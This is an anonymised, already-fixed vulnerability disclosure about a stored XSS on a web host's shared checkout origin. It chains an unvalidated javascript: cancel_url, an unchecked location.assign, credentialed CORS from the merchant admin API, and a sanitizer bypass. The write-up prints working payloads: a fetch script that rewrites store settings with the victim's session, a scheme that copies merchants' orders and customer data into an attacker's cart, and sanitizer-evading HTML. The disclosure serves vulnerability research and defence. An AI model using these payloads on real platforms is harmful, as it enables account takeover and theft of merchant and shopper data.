Stored XSS on a shared checkout origin the merchant admin API trusts
An anonymous checkout-link route stored a javascript: cancel_url that its sibling route rejects, and the checkout app passed it to location.assign() when the cart was locked. Every merchant shares that origin and the admin API grants it credentialed CORS, so the script read a signed-in merchant's orders and wrote their store settings.
A web hosting provider sells online stores with its plans, and every merchant’s payment page is served from one shared origin, checkout.<platform>. The checkout app is a single-page app that loads a cart by token. The cart remembers two URLs from when it was created: success_url for after payment, and cancel_url for a shopper who backs out.
None of the defects below is large on its own. Chained, they let a person with no account run script in a merchant’s browser, on an origin the merchant admin API trusts with credentials and every write verb.
cancel_url on two routes
Two public routes create a cart for a sales channel, and both take a cancel_url. Neither needs a cookie, a bearer token or a CSRF token. The only tenant selector is the channel id in the path, and every store prints its own channel id in the storefront HTML it serves to logged-out visitors.
The cart route checks the field. Give it a cancel_url that points away from the store and it answers 400 with an error code naming cancel_url, echoing the rejected URL, the channel id and the store id back. The checkout-link route takes the identical value and returns 200:
POST /channels/<channel-id>/checkout HTTP/1.1
Host: api.<platform>
Content-Type: application/json
{"success_url":"https://checkout.<platform>/l/s","cancel_url":"javascript:alert(document.domain)" }
HTTP/1.1 200 OK
{"url":"https://checkout.<platform>/checkout?cart_id=<cart-token>&lang=en"}Reading the cart back with that token shows cart.context.cancel_url exactly as sent. data:text/html,... and vbscript:msgbox(1) persist byte for byte too. Chrome refuses top-level data: navigation, so of the three only javascript: turns into execution.
The route does parse the value. A protocol-relative URL is refused:
{"property":"success_url","message":"Invalid url"}So the string goes through a URL parser and a syntax check, and the scheme that comes out of the parse is never compared with anything. The product has a cancel_url validator, and this route doesn’t call it.
The client-side guard
On load, the checkout app decides whether the cart is still usable. A cart that has completed, or is waiting on a payment, counts as locked, and the app sends the visitor back to the store. Abbreviated, with the minified names replaced:
isLockedWithCancel = cart =>
!!(cart.completed_at || cart.payment_pending_at) &&
typeof cart.context?.cancel_url == "string"
// on page load
err instanceof LockedCart
? (route.name === "checkoutLink" ? /* ... */ : window.location.assign(err.cancelUrl) )
: /* ... */The minted link’s path is /checkout, and that route’s name is checkout, so the else branch runs. It is a bare location.assign on a string the guard has just confirmed came out of the cart context, and it fires before the page has rendered anything a visitor could click. location.assign() with a javascript: URL evaluates it in the current document, so the code runs on checkout.<platform>.
The same app already has the correct version of this logic, in a lazily loaded chunk:
safeHttpUrl = s => {
try { let u = new URL(s); return u.protocol === "http:" || u.protocol === "https:" ? u : null }
catch { return null }
}
useReturnToStore = () => ({
canReturnToStore: route.name !== "checkoutLink" && route.name !== "checkoutLinkSuccess"
&& salesChannel?.type !== LINK,
redirectToStore: () => { let u = safeHttpUrl(cart.cancelUrl) ; u && window.location.assign(u.toString()) }
})useReturnToStore is imported unchanged at all three of its call sites. It looks at the sales channel type as well as the route name, and it checks the scheme again before it navigates. The load-time guard looks at the route name only and never imports safeHttpUrl. One stored value has two consumers with two different discriminators, and only one of them validates. The write side has the same shape: two sibling routes, one check.
Nothing contains the script once it runs. checkout.<platform> sends a single CSP directive, frame-ancestors, with no script-src and no default-src. The storefront domain next door sends a strict nonce-based script-src with strict-dynamic. The company had the policy, and the origin that handles payments didn’t get it.
Anonymous cart lock
The guard needs completed_at or payment_pending_at on the cart. A fresh cart has neither, so the attacker walks their own cart far enough through checkout to lock it. Every call uses only the cart token the mint response handed out:
POST /carts/<cart>/line-items {"items":[{"variant_id":"<variant>","quantity":1}]}
POST /carts/<token> email, shipping_address, billing_address
POST /carts/<token>/payment-session a payment provider id, or no body at all on a zero-total cart The provider id is handed to the anonymous caller too: GET /carts/<token> returns the store object with its payment providers and their ids. A zero-total cart needs no provider and no body, and that is exactly what the shipped client sends when there is nothing to pay. It renders payment options only for a total above zero, so on a free cart it starts the session with an undefined provider and an empty body. The zero-total path then sets payment_pending_at and completed_at, and the guard is true.
The attacker picks the channel, so they also pick whether the cart can be locked: the store needs a live payment provider or an item priced at zero. The script runs on the shared origin whichever channel the link came from, so the attacker can mint on a store of their own.
Execution had two controls, three trials each. A same-origin https value in cancel_url made the browser navigate there in 3 of 3, so the sink fires. The identical javascript: payload on a populated but unlocked cart did not execute in 3 of 3, so the locked state is the trigger.
Checkout origin trust
The next question is what else this origin may talk to. The preflight for a write to the merchant admin API, sent from checkout:
OPTIONS https://admin.<platform>/admin/store/settings
Origin: https://checkout.<platform>
Access-Control-Request-Method: PATCH
->
access-control-allow-origin: https://checkout.<platform>
access-control-allow-credentials: true
access-control-allow-methods: GET,HEAD,PUT,PATCH,POST,DELETE
access-control-allow-headers: content-type,x-store-idThen the same preflight, varying only Origin:
| Origin sent | access-control-allow-origin |
allow-credentials |
|---|---|---|
https://checkout.<platform> |
echoed | true |
https://panel.<platform> |
echoed | true |
https://builder.<platform> |
echoed | true |
https://admin.<platform> |
echoed | true |
https://<storefront-domain> |
echoed | absent |
https://evil.example.org |
echoed | absent |
http://checkout.<platform> |
echoed | absent |
https://checkout.<platform>.evil.example.org |
echoed | absent |
null |
echoed | absent |
The server echoes every origin, including null and an arbitrary external host, and adds allow-credentials: true for four. An echoed origin without credentials only gets responses to anonymous requests, so the bottom five rows are harmless. The top four are a deliberate trust set: the hosting control panel, the site builder, the admin app itself, and checkout. Checkout is the one member that renders data from anonymous callers to anonymous visitors.
Three more properties complete the path. The session cookie is set on the parent domain, .<platform>, and checkout shares a registrable domain with the admin API, so a fetch from checkout is same-site, SameSite=Lax doesn’t withhold the cookie, and credentials: "include" attaches it. The admin API has no CSRF token: every admin call goes through one HTTP client with credentials on, and its request interceptor adds exactly one header, the store id. That header is required and isn’t a secret, because GET /admin/store/stores answers 200 without it and lists the stores of whoever’s cookie arrived. A script in the victim’s browser asks for the victim’s stores and then writes to them.
Later I preflighted every backend host in the control panel’s bundle from checkout. Four grant it credentials and every write verb: the admin API, the shop API, the site-builder backend and a messaging backend, and the last two parse the same parent-domain session cookie. Four others answer access-control-allow-origin: * without credentials.
Write proof
A read is easier to argue down than a write, so the original report led with the write. The cancel_url payload, decoded and reformatted:
(async () => {
var s = await (await fetch("https://admin.<platform>/admin/store/stores", { credentials: "include" })).json();
var id = s.stores[0].id;
var r = await fetch("https://admin.<platform>/admin/store/settings", {
method: "PATCH", credentials: "include",
headers: { "content-type": "application/json", "x-store-id": id },
body: JSON.stringify({ name: "WRITTEN-BY-AN-UNAUTHENTICATED-CALLER" })
});
alert(document.domain + " " + r.status);
})()In 3 of 3 trials, each with its own marker, the PATCH returned 200 with the full store row and the name changed server-side. I confirmed each change out of band with my own session, so the result doesn’t depend on what the script said about its own response. Positive control: the same PATCH sent directly returned 200 and changed the name, so a failed subject would have meant something. Negative control: the identical PATCH from a page on the storefront domain, a different registrable domain, failed with TypeError: Failed to fetch and the name stayed put, as the table predicts. I put the name back after every trial.
That PATCH is the only admin API write I sent. The preflight also grants credentialed POST, PATCH and PUT on the payment-provider routes, and the shipped admin client carries a bulk order action that cancels orders or marks them paid and can email the store’s customers. I fired neither, even on my own store, since the settings write already makes the point.
Exfiltration cart
A convincing proof needs another user’s data, an action taken without authorization, and a result the attacker can see from their own side. The usual answer to the third is a collector server. I wanted the data to stay inside the platform, and the shop API had somewhere to put it.
Anyone holding a cart token can write an arbitrary metadata object onto that cart with no other credential, and a plain GET with the same token reads it back. So the attacker creates a second cart and keeps its token. The payload reads the admin API with the victim’s session and writes what it got into the attacker’s cart:
attacker GET /carts/<drop-token> "metadata": null no credentials
victim opens the checkout link while signed in
payload GET admin /store/stores, /orders, /customers victim's session
payload POST /carts/<drop-token> {"metadata": ...} no credentials
attacker GET /carts/<drop-token> "metadata": {...} no credentialsThe drop cart’s metadata was null before every trial, so nothing found afterwards could be residue. In all three trials on my own merchant account it came back holding the account id (read from a separate, script-readable account-info cookie), all 39 stores by id and name, 14 orders, 1 customer, and order rows with buyer email, name, phone, city and total. Those rows are records I seeded, because the program’s terms say not to view more data than the proof needs. The payload doesn’t choose rows. It returns /orders and /customers for whichever merchant opens the link. The same logic run from the storefront domain read 0 bytes of cookie, couldn’t see the account-info cookie, and got 401 with 0 stores.
The same access mints a credential that works outside the browser. GET /admin/store/websocket-token answers 401 {"message":"Token is required"} without a cookie, and returns a UUID when called from checkout with the victim’s session. That UUID opened the store’s websocket from my own machine, with no cookie and Origin: https://evil.example.org, and the socket stayed open. A forged token and a missing one were both closed with 1008 Unauthorized. I minted five back to back without hitting a rate limit.
Session cookie access
The chain above never reads the session cookie, because the browser attaches it. While building a test link I checked document.cookie on checkout in my test browser, and the session cookie was in it. I replayed that value from a shell with no browser, no password and no other cookie:
| request | result |
|---|---|
| full cookie jar | 200, 39 stores |
| the script-readable session cookie alone | 200, 39 stores |
| the same cookie with six characters changed | 401 |
| no cookies | 401 |
Its claims mark it as the control panel’s SSO session for a client account, so it isn’t scoped to the store. I tested it against the admin API only.
I can’t claim this holds for every user. My earlier notes, from the Set-Cookie of a real login, had the session cookie flagged HttpOnly. My browser’s document.cookie also listed two cookies that a normal login scopes to the auth host, so my test profile’s jar didn’t match a fresh login. When the vendor’s test account opened my link, the payload reported the session cookie as unreadable, and the admin API still answered 200: the account id came from the account-info cookie, and the browser attached the session cookie by itself. The websocket token is the off-browser credential that holds either way.
Payment instructions sanitizer
The addendum covered a second bug on the same origin. Checkout renders the merchant’s payment instructions, a payment provider’s description, with innerHTML through a hand-written sanitizer from the main bundle. I copied its functions and allowlists out byte for byte. Abbreviated, renamed:
cleanNode = el => {
let tag = el.tagName.toLowerCase();
if (!ALLOWED_TAGS.includes(tag)) { el.replaceWith(...el.childNodes); return }
// ... per-tag attribute allowlist, scheme check on URL attributes
[...el.children].forEach(c => cleanNode(c))
}
sanitize = html => {
let root = document.createElement("div");
return root.innerHTML = html, [...root.children].forEach(c => cleanNode(c)), root.innerHTML
}A tag that isn’t on the allowlist is unwrapped and the function returns, so its children are never visited. sanitize walks [...root.children], a snapshot taken before any unwrapping, so the promoted children aren’t in that list either. They keep every attribute they had:
input <xyz><img src=q onerror="FLAG()"></xyz>
output <img src="q" onerror="FLAG()"> handler fired on renderIn that run 9 of 12 payload classes got through, and two controls behaved correctly: benign markup passed unchanged, and a top-level <img onerror> had its handler stripped. <form> and <details> work as wrappers too, as do two nested unlisted tags. iframe is on the tag allowlist without srcdoc in its attribute list, so an iframe under an unlisted wrapper keeps srcdoc, and <xyz><iframe srcdoc="<script>..."> executed.
The URL check is a prefix match on the trimmed, lowercased value against javascript:, data: and vbscript:. java	script:, java script: and a leading  all survived into the output. The HTML parser decodes those references to a raw tab, newline or control character, so the prefix no longer matches, and the URL parser strips exactly those characters before it reads the scheme. I showed survival through the sanitizer for these three and didn’t build a click-through.
A complete DOMPurify 3.x is constructed in the same bundle and isn’t used on this path. I ran it against the nine payloads that got through and it cleaned all of them.
The write side uses the same function. The admin form for a manual payment method sanitizes description in the browser before saving, with a twin of the checkout function: same helper, same allowlists, different minified names. A merchant can store these payloads through the product’s own form, and the credentialed grant on the payment-provider routes reaches the field without the form. Chained with the first bug, that is a way to leave script in a store’s checkout for its shoppers.
That last step I reasoned out and didn’t measure. I ran the copied functions in Chrome and never put a payload into a live checkout: the free test provider can’t carry a description, which leaves that render path behind a paid plan. I gave the program a one-minute internal check: create a provider with <xyz><img src=q onerror=alert(document.domain)></xyz> as its description, open that store’s checkout, pick the manual method.
Corrections and limitations
The original report also claimed the script could lift other shoppers’ cart tokens from the 365-day, script-readable cart_id cookie on checkout. On the /checkout route the app writes its own cart token into that cookie during load, so the script reads the attacker’s token. I corrected it myself in my first follow-up.
Service-worker registration from inside the payload failed with an unsupported MIME type, and the origin serves no attacker-controlled JavaScript, so there is no persistence.
success_url and the payment session’s URL reach three more window.location.assign calls with no scheme check. I found them in the bundle and didn’t reach them in a browser. The site-builder backend gives checkout the same credentialed access on its site-write routes. I owned no site, so I never sent a write there.
Every link I minted was on my own channel. The attacker never needs the victim’s channel, and the cross-account half of the proof came from the vendor’s own test account.
Cross-account test
The vendor’s security team opened the link on their own test account. The first run printed nothing, because that account held no orders or customers. The drop cart still came back with their account id and a cross-origin 200 from the admin API, which was the access path working on an empty store. They then created a store with one order and opened it again, and the drop cart held their account id, a 200 from the admin API, two stores, two orders and two customers. Their test order carried only an email address, because of how that one order had been created. On my own store the same payload returned name, phone, street, city and postcode with every order.
The payload never touches the checkout form. It reads cookies and calls the API, and it runs before the page is usable, so the victim’s only act is opening the link.
Fix
- Reject a non-http(s)
cancel_urlandsuccess_urlon the checkout-link route at write time, as the cart route already does, with one validation function shared by both routes. - Send the load-time redirect through
safeHttpUrlbeforewindow.location.assign, and the three unchecked assigns on the success and payment URLs too. The helper already exists and is used correctly elsewhere in the app. - Serve a real CSP on
checkout.<platform>. A nonce-basedscript-srclike the storefront’s would have stopped this payload with the stored value still in place. - Remove
https://checkout.<platform>from the credentialed CORS allowlists of the admin API and the other three backends. Checkout serves logged-out shoppers, and its own clients for the builder backend are already built with credentials off. - Require a CSRF token on the admin API, so a write needs a value a cross-origin script has to obtain first.
- Set HttpOnly on the session cookie in every flow that issues it.
- Use the DOMPurify instance already in the bundle for payment instructions, make
cleanNodevisit the children it promotes, and sanitizedescriptionon the server at write time, since the admin form runs the same broken function and an API caller skips the form.
On a platform with several origins under one parent domain, map the credentialed CORS allowlist first, then look for the member of it that renders input from people who aren’t logged in.
Disclosure
Reported to the vendor and fixed. The provider isn’t named. Hostnames are replaced with placeholders such as checkout.<platform>, endpoint paths are shortened, the framework prefix on the admin API paths is removed, and minified identifiers, route names, the store-id header and error codes are renamed.